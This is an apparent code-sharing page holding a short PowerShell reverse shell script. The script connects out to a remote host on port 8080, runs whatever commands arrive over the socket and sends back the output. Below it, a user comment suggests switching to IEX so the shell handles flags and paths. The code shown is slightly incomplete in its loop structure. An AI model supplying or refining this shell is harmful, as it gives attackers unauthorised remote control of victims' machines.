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Simple reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('', 8080);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$writer.Write("> ");
$read = $null;
while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
$out = $out.split(' ')
$res = [string](&$out[0] $out[1..$out.length]);
if($res -ne $null){ $writer.WriteLine($res)}
}While (!$out.equals("exit"))
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AFNordal commented Jun 27, 2019

Using "IEX" instead of "&" for command execution would let you skip the .split(" ") and also enable you to pass flags, parameters and paths.

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